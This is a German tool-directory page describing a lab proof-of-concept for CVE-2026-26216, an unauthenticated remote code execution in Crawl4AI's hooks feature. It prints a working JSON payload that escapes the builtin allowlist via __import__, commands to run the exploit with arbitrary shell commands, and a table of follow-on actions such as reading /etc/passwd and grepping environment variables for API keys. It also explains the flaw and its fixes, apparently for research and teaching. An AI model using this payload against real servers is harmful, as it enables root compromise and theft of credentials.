Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
EXPLOIT-CVE-2026-26216 | Kitploit
Tools/GitHubGitHub/joaovicdev/exploit-cve-2026-26216
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-EntwicklungLabs & Praxis
GitHubjoaovicdev/exploit-cve-2026-26216

EXPLOIT-CVE-2026-26216

Repository anzeigen
vor 25 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-26216 — Nicht authentifizierte RCE in Crawl4AI über hooks (GHSA-5882-5rx9-xgxp)

CVSS 10.0 · pre-auth RCE · CWE-94 (Code Injection) Nicht authentifizierte Remote-Codeausführung auf dem Docker-Server von Crawl4AI (< 0.8.0), die den Parameter hooks des Endpunkts POST /crawl missbraucht. Ein einziges JSON im POST führt Python als root im Container aus.

Dies ist eine Labor-PoC, eigenständig und reproduzierbar, für Sicherheitsforschung und Bildungszwecke.


Die Schwachstelle in einem Satz

Der Endpunkt POST /crawl akzeptiert beliebigen Python-Code im Feld hooks.code.<evento>. Dieser Code wird mit exec() innerhalb einer „hausgemachten Sandbox" ausgeführt — einem Wörterbuch mit eingeschränkten Builtins. Doch __import__ wurde auf die Allowlist gesetzt, was __import__('os').system(...) ermöglicht und die gesamte Sandbox aushebelt.

root@kitploit:~
POST /crawl
{
  "urls": ["https://example.com"],
  "hooks": {
    "code": {
      "on_page_context_created":
        "async def hook(page, context, **kwargs):\n    __import__('os').system('id')\n    return page"
    }
  }
}

Da das offizielle Deployment standardmäßig mit deaktiviertem JWT läuft und der Container als root läuft, ist das Ergebnis eine Root-RCE vor der Authentifizierung.

Warum es die perfekte Lektion über „hausgemachte Sandbox in KI-Tools" ist

Die Sandbox scheint zu funktionieren: open, eval, exec wurden entfernt, ein naiver Angriff (open('/etc/passwd')) wird blockiert. Das erzeugt ein falsches Sicherheitsgefühl. Aber es genügt ein vergessenes gefährliches Builtin (__import__), um die gesamte Stdlib (os, subprocess, socket) zu importieren, und die Allowlist wird zur Dekoration. Eine Builtin-Allowlist ist kein Sandbox.


Projektstruktur

root@kitploit:~
CVE-2026-26216/
├── README.md
├── docker-compose.yml         # sobe o servidor vulnerável
├── vulnerable-app/
│   ├── Dockerfile             # imagem que roda como root (igual à oficial)
│   ├── requirements.txt
│   ├── server.py              # FastAPI: POST /crawl sem auth
│   └── hook_manager.py        # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
    └── exploit.py             # exploit Python (só stdlib)

Hinweis zur Fidelity. vulnerable-app/ ist eine schlanke Reproduktion des verwundbaren Codepfads von Crawl4AI (öffnet kein Chromium/Playwright), damit die PoC leichtgewichtig und 100% reproduzierbar ist. Das Sandbox-Verhalten und die Struktur des Payloads spiegeln das offizielle Advisory GHSA-5882-5rx9-xgxp wider. Die verwundbare Zeile ist in vulnerable-app/hook_manager.py markiert.


Ausführen

root@kitploit:~
# 1. sobe o alvo
docker compose up -d --build

# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo

# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"

# 4. derruba
docker compose down -v

Was der Exploit demonstriert

Von dort aus: Pivot in das interne Netzwerk, Diebstahl von Cloud-Zugangsdaten, Persistenz usw.


Auswirkungen

  • Vertraulichkeit: Diebstahl von OPENAI_API_KEY, internen Tokens, Container-Secrets.
  • Integrität: Schreiben/Verändern von Dateien, Backdoors.
  • Verfügbarkeit: Beenden von Prozessen, Datenlöschung.
  • Lateral: Der Container hat in der Regel Zugriff auf das interne Netzwerk → Pivot.

All das ohne Authentifizierung.


Behebung

Behoben in Crawl4AI 0.8.0:

  • __import__ (und eval/exec/open) entfernt aus den erlaubten Builtins.
  • Hooks standardmäßig deaktiviert — explizites Opt-in über CRAWL4AI_HOOKS_ENABLED=true.

Allgemeine Mitigationen:

  • Aktualisieren Sie auf crawl4ai >= 0.8.0.
  • Setzen Sie den Crawl4AI-Server niemals direkt ins Internet; aktivieren Sie JWT.
  • Führen Sie den Container nicht als root aus; verwenden Sie einen nicht-privilegierten Benutzer und ein Read-only-Dateisystem.
  • Behandeln Sie die „Builtin-Allowlist" als das, was sie ist: kein Sandbox. Um nicht vertrauenswürdigen Code auszuführen, verwenden Sie echte Isolierung (gVisor, microVM, separater Prozess ohne Netzwerk/FS, seccomp).

Referenzen

  • GitHub Advisory — GHSA-5882-5rx9-xgxp
  • GitHub Advisory Database
  • Corgea — CVE-2026-26216
  • GitLab Advisory Database
  • miggo.io — GHSA-5882-5rx9-xgxp

Haftungsausschluss

Material für autorisierte Sicherheitsforschung und Bildung. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.

Tool herunterladen
#AktionAuswirkung
1open('/etc/passwd') direktBlockiert durch die Sandbox (falsche Sicherheit)
2__import__('subprocess') + id/whoamiRCE als root
3cat /etc/passwd über die ShellBeliebiges Auslesen von Dateien
4env | grep KEYExfiltration von API-Keys / Tokens
5echo ... > /tmp/PWNEDBeliebiges Schreiben von Dateien